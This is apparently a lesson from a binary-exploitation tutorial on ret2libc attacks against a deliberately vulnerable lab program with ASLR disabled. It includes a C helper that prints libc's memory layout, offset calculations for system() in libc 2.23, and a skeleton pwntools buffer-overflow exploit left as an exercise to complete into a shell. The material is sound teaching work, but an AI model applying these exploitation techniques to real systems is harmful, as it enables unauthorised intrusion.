We were able to pick from a wealth of ROP gadgets to construct the ROP chain in the previous section because the binary was huge. Now, what happens if the binary we have to attack is not large enough to provide us the gadgets we need?
One possible solution, since ASLR is disabled, would be to search for our gadgets in the shared libraries loaded by the program such as libc. However, if we had these addresses into libc, we could simplify our exploit to reuse useful functions. One such useful function could be the amazing system() function.
Investigating Shared Libraries
To investigate this, we can create a diagnostic binary to introspectively look at the virtual memory map and to print us the resolved system() address. The source is as follows:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
int main() {
puts("This program helps visualise where libc is loaded.\n");
int pid = getpid();
char command[500];
puts("Memory Layout: ");
sprintf(command, "cat /proc/%d/maps", pid);
system(command);
puts("\nFunction Addresses: ");
printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system"));
printf("PID: %d\n", pid);
puts("Press enter to continue.");
read(0, command, 1);
}
I have compiled two versions of the binary, a 32 bit version and a 64 bit version.
Note the base address of libc-2-2.23.so (0xf7e10000) and the resolved address of system (0xf7e4ada0). Let's subtract the address of the base address from the address of system to get the system offset.
In [15]: 0xf7e4ada0-0xf7e10000
Out[15]: 241056
In [16]: hex(0xf7e4ada0-0xf7e10000)
Out[16]: '0x3ada0'
Take note of that offset, 0x3ada0. Next, we can disassemble the libc shared object and look for the start of the system function.
ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/i386-linux-gnu/libc-2.23.so | grep system
0003ada0 <__libc_system@@GLIBC_PRIVATE>:
3adb4: 74 0a je 3adc0 <__libc_system@@GLIBC_PRIVATE+0x20>
00112d60 <svcerr_systemerr@@GLIBC_2.0>:
That's a bingo. Notice how the offset we calculated previously is the same as the address of __libc_system@@GLIBC_PRIVATE.
In [17]: 0x7f649cd43390-0x7f649ccfe000
Out[17]: 283536
In [18]: hex(0x7f649cd43390-0x7f649ccfe000)
Out[18]: '0x45390'
Finding the address of system in the 64 bit libc binary.
ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/x86_64-linux-gnu/libc-2.23.so | grep system
0000000000045390 <__libc_system@@GLIBC_PRIVATE>:
45393: 74 0b je 453a0 <__libc_system@@GLIBC_PRIVATE+0x10>
0000000000137c20 <svcerr_systemerr@@GLIBC_2.2.5>:
And we have another match.
Calculating Addresses
This is useful information as now we have a way to calculate the addresses of useful functions given the base address of libc. Since shared objects are mapped at the same location without randomisation due to ASLR being disabled, we can very easily find the addresses of useful things such as the system() function and the /bin/sh string by examining the libc shared object on its own.
To make life easier, the 'libc-database' toolset by Niklas Baumstark, provides helper scripts to build a libc database, identify versions of libc from information leaks, and dump useful offsets. In the vagrant provisioning script, I have already added the pertinent libc versions used in the exercises.
Let's do the opposite of what we did the last section. Instead of attacking a bloated binary, we are going to attack a really lean and mean one. Something like this:
ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ ./3_vulnerable
TEST
ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$
It really does not do much. Here is the skeleton exploit code to achieve EIP control.
#!/usr/bin/python
from pwn import *
def main():
# Start the process
p = process("../build/3_vulnerable")
# Print the pid
raw_input(str(p.proc.pid))
# Craft the payload
payload = "A"*76 + p32(0xdeadc0de)
payload = payload.ljust(96, "\x00")
# Send the payload
p.send(payload)
# Pass interaction to the user
p.interactive()
if __name__ == "__main__":
main()
Exercise 7.1: Writing the Final Exploit
At this point, it is simply a matter of finding at which address is libc mapped onto and then calculating the addresses of useful functions from the offsets we dumped.
Try to obtain a shell by making the necessary additions to the skeleton code. Please attempt to do this on your own before looking at the solution.